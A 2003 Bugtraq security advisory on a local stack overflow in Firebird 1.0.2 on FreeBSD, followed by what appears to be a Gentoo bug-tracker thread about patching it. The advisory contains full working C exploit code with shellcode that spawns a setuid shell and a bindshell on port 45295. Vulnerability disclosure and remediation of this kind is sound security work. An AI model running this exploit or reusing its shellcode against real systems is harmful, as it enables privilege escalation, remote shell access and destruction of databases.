Firebird Local exploit From: bob <moo@arktis.luxadmin.org> To: bugtraq@securityfocus.com Date: Saturday 01.57.11 -[[Dtors Security Research]]- -[[ www.dtors.net ]]- -[Package: Firebird_1.0.2 [FreeBSD] -[Versions Affected: 1.0.2 < -[Website: http://firebird.sf.net -[Exploit: Local Stack Overflow -[Date: 22/03/2003 -[Author: bob@dtors.net && kokanin@dtors.net ---[BACKGROUND Firebird is a relational database offering many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981. For more information on Firebird and InterBase, see: http://sourceforge.net/projects/firebird/ http://www.ibphoenix.com/ http://www.interbase2000.org/ http://www.interbase.com/ http://www.firebirdsql.org/ --[DESCRIPTION Firebird has 3 binarys [gds_inet_server, gds_drop, and gds_lock_mgr], which all use insufficent bounds checking in conjunction with getenv(), making each one succeptable to local exploitation. Firebird is by default setuid[firebird]. This exploit can lead to root/escalated privileges, should the attacker trojan the local firebird application. --[ANALYSIS Upon setting a large value for the INTERBASE environment variable a buffer can be overflowed. Links to the exploit should accompany this advisory. --[Please note that there is an exploit written for both versions of firebird. Exploiting this hole will allow the attacker to, amongst other things, manipulate and/or destroy the databases, and also add the option to trojan the firebird binaries. This will in effect allow for compromising of other users/root accounts. --[SYSTEMS AFFECTED: firebird 1.0.0 [BSD/Linux] are vulnerable. firebird-1.0.2 [BSD/Linux] are vulnerable. --[EXPLOIT CODE /* DSR-firebird.c by bob@dtors.net ------------------------------- Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE This is Proof Of concept code. bash-2.05a$ ./DSR-firebird ( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) ) ( ( by - bob@dtors.net ) ) ---------------------------------------------------- Usage: ./DSR-firebird <target#> Targets: 1. [0xbfbff75d] - gds_inet_server 2. [0xbfbff75c] - gds_lock_mgr 3. [0xbfbff75e] - gds_drop www.dtors.net bash-2.05a$ Thanks goto eSDee && ilja for helping me with the gds_lock_mgr problems. bob@dtors.net */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define LOCK "/usr/local/firebird/bin/gds_lock_mgr" #define DROP "/usr/local/firebird/bin/gds_drop" #define INET "/usr/local/firebird/bin/gds_inet_server" #define LEN 1056 char dropcode[]= "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0" "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; char inetcode[]= "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0" "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; char lockcode[]= "\x31\xc0\x31\xdb\xb0\x02\xcd\x80" "\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob "\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee "\xb3\x01\x53\xb3\x02\x53\x54\xb0" "\x61\xcd\x80\x89\xc7\x31\xc0\x50" "\x50\x50\x66\x68\xb0\xef\xb7\x02" "\x66\x53\x89\xe1\x31\xdb\xb3\x10" "\x53\x51\x57\x50\xb0\x68\xcd\x80" "\x31\xdb\x39\xc3\x74\x06\x31\xc0" "\xb0\x01\xcd\x80\x31\xc0\x50\x57" "\x50\xb0\x6a\xcd\x80\x31\xc0\x31" "\xdb\x50\x89\xe1\xb3\x01\x53\x89" "\xe2\x50\x51\x52\xb3\x14\x53\x50" "\xb0\x2e\xcd\x80\x31\xc0\x50\x50" "\x57\x50\xb0\x1e\xcd\x80\x89\xc6" "\x31\xc0\x31\xdb\xb0\x02\xcd\x80" "\x39\xc3\x75\x44\x31\xc0\x57\x50" "\xb0\x06\xcd\x80\x31\xc0\x50\x56" "\x50\xb0\x5a\xcd\x80\x31\xc0\x31" "\xdb\x43\x53\x56\x50\xb0\x5a\xcd" "\x80\x31\xc0\x43\x53\x56\x50\xb0" "\x5a\xcd\x80\x31\xc0\x50\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x50\x54\x53\x50\xb0\x3b" "\xcd\x80\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\x56\x50\xb0\x06\xcd\x80" "\xeb\x9a"; char *decide(char *string) { if(!(strcmp(string, "1"))) return((char *)&inetcode); if(!(strcmp(string, "2"))) return((char *)&lockcode); if(!(strcmp(string, "3"))) return((char *)&dropcode); exit(0); } int main(int argc, char **argv) { unsigned long ret = 0xbfbff743; char *selectcode; char buffer[LEN]; char egg[1024]; char *ptr; int i=0; if(argc < 2) { printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n"); printf("( ( by - bob@dtors.net ) )\n"); printf("--------------------------------------------------- -\n\n"); printf("Usage: %s <target#> \n", argv[0]); printf("Targets:\n"); printf("1. [0xbfbff743] - gds_inet_server\n"); printf("2. [0xbfbff743] - gds_lock_mgr\n"); printf("3. [0xbfbff743] - gds_drop\n"); printf("\nwww.dtors.net\n"); exit(0); } selectcode = (char *)decide(argv[1]); memset(buffer, 0x41, sizeof(buffer)); ptr = egg; for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90; for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i]; egg[1024 - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(&buffer[1052],(char *)&ret,4); buffer[1056] = 0; setenv("INTERBASE", buffer, 1); fprintf(stdout, "Return Address: 0x%x\n", ret); fprintf(stdout, "Buffer Size: %d\n", LEN); fprintf(stdout, "Setuid [90]\n"); if(selectcode == (char *)&inetcode) { execl(INET, INET, NULL); return 0; } if(selectcode == (char *)&lockcode) { printf("\nShell is on port 45295\nExploit will hang!\n"); execl(LOCK, LOCK, NULL); return 0; } if(selectcode == (char *)&dropcode) { execl(DROP, DROP, NULL); return 0; } return 0; } --[Misc As stated earlier, Linux is also vulnerable. The problem here is that Linux by defaults sets firebird setuid root. There exist a few more problems with linux. For example some command line overflows with certain switches will allow the attacker to change the flow of execution, of it can be changed using the enviroment variable [FIREBIRD_LOCK]. This whole package should be revised before the next release. Firebird 1.0.0 exploit @ http://bob.dtors.net/DSR-olbird.c Firebird 1.0.2 exploit @ http://bob.dtors.net/DSR-firebird.c --[CREDIT kokanin@dtors.net bob@dtors.net
mksoft, Does firebird-1.0.3 fix this?
According to this: http://sourceforge.net/tracker/?group_id=9028&atid=109028&func=detail&aid=739480 It says it fixed in ver 1.18 of jrd.c, but further investigation with webcvs: http://cvs.sourceforge.net/viewcvs.py/firebird/interbase/jrd/gds.c Shows it was rolled back in ver 1.19 if gds.c cause the fix was bogus. Looks like it wasn't fixed. Maybe it's fixed in firebird ver 1.5 (there's some hint in the tracker link above), but it is not released yet.
mksoft, Is this resolved yet? Can we close this bug.
No resolution yet. I've searched freebsd advisories, debian's patches with no avail. BugTraq reports that no known vendor solution is available: http://securityfocus.com/bid/7546/solution/ Ideas ?
Meir Kriheli - would you remove the affected version of Firebird (1.0-r1) so we can close this bug? Thanks.
IIRC the affected versions are up to 1.0.3 (including it). since 1.0.3 is the current stable one, we can't remove it yet. 1.5.0 is currently masked for testing. I think we should remove older ebuilds only when 1.5.0 is stable.
This link states that 1.0 and 1.0.2 are affected. http://securityfocus.com/bid/7546/info/
Looks at the links I've provided in this discussion. 1.0.3 was not out yet when this was discovered. I've posted links to cvs changelog's which say that the supposed fix was really helping and it was rolled back.
what needs to happen for 1.5 to go stable?
A few spare hours which I can work on it, and users tetsing it. I need to move it from inetd based to daemon (by default).
Committed the new ebuild (still masked). There's a bug open about the new version (#42518), so hopefully testers will reposnd there.
mksoft: Looks like we had progress on #42518 : please mark the ebuild as x86 stable as soon as you estimate it meets the standards, so that we can issue the GLSA for this one. -K
I'll move it to ~x86 and see how it goes from there
OK, enough is enough. This is a fairly serious exploit that allows data desctruction and trojaned binaries. We either need to get it resolved within 24h or security mask all affected versions. This bug has just passed it's 1 year anniversary... timestamp: Thu May 13 16:31:06 UTC 2004
I thought there was a new policy forcing at least a month from unstable to stable ones. Anyway, I'll mark it as stable in a few hours and close the bug the blocks this one. BTW: Most of the delay (1 year) is the time it took the firebird team to release 1.5.
Firebird 1.5 is stable -- ready for a GLSA
GLSA 200405-18
